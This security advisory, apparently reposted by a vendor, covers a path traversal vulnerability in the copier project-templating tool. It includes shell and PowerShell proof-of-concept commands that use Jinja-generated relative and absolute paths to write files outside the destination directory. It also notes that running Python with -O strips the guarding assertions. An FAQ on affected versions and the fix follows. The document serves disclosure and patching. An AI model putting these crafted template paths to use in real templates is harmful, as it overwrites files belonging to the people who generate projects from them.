CVE-2025-55214

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

• POSIX:

  # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
  echo "foo" > forbidden.txt
  mkdir src/
  echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src/ dst/
  cat forbidden.txt
  

• Windows (PowerShell):

  # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
  echo "foo" > forbidden.txt
  mkdir src
  Set-Content -Path src\copier.yml @'
  drive:
    type: str
    default: "C:"
    when: false
  '@
  echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src dst
  cat forbidden.txt
  

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

1. What is CVE-2025-55214? CVE-2025-55214 is a medium-severity path traversal vulnerability in copier (pip), affecting versions >= 7.1.0, < 9.9.1. It is fixed in 9.9.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of copier are affected by CVE-2025-55214? copier (pip) versions >= 7.1.0, < 9.9.1 is affected.
3. Is there a fix for CVE-2025-55214? Yes. CVE-2025-55214 is fixed in 9.9.1. Upgrade to this version or later.
4. Is CVE-2025-55214 exploitable, and should I be worried? Whether CVE-2025-55214 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-55214 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-55214? Upgrade copier to 9.9.1 or later.